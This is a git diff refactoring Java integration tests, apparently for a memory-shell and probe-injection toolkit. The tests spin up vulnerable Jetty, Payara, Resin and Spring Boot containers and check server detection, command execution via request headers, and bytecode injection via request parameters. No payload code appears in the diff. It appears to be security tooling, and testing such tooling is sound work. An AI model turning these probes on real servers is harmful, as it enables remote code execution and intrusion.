@@ -59,20 +53,20 @@ public class Jetty94ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -61,20 +59,20 @@ public class Payara5201ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Payara520225ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class Payara620222ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin3116ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin318ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin4058ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -54,20 +53,20 @@ public class Resin4067ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -53,6 +52,6 @@ public class SpringBoot2WebFluxContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.SpringWebFlux.name(), data);
|
||||
assertEquals(Server.SpringWebFlux, data);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -53,6 +52,6 @@ public class SpringBoot3WebFluxContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.SpringWebFlux.name(), data);
|
||||
assertEquals(Server.SpringWebFlux, data);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,14 +1,11 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot1Dockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class SpringBoot1ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user